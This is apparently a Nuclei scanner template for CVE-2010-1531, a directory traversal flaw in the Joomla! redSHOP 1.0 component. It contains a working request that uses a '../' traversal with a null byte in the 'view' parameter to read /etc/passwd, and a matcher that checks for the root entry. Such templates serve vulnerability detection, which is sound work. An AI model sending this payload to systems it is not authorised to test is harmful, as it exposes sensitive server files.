id: CVE-2010-1531

info:
  name: Joomla! Component redSHOP 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12054
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1531
    - http://packetstormsecurity.org/1004-exploits/joomlaredshop-lfi.txt
    - http://redcomponent.com/redshop/redshop-changelog
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57512
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1531
    cwe-id: CWE-22
    epss-score: 0.16915
    epss-percentile: 0.96661
    cpe: cpe:2.3:a:redcomponent:com_redshop:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redshop
  tags: cve2010,cve,lfi,edb,packetstorm,joomla,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009ae4aee23b8bd4101b5398c2baaaeaa3f37b65db9e36d16cb342d4b8053aa4ac02202c6058845f52eff73ff19d9645d0e5ba5a9da3794544d2bb58135cd313bb653d:922c64590222798bb761d5b6d8e72950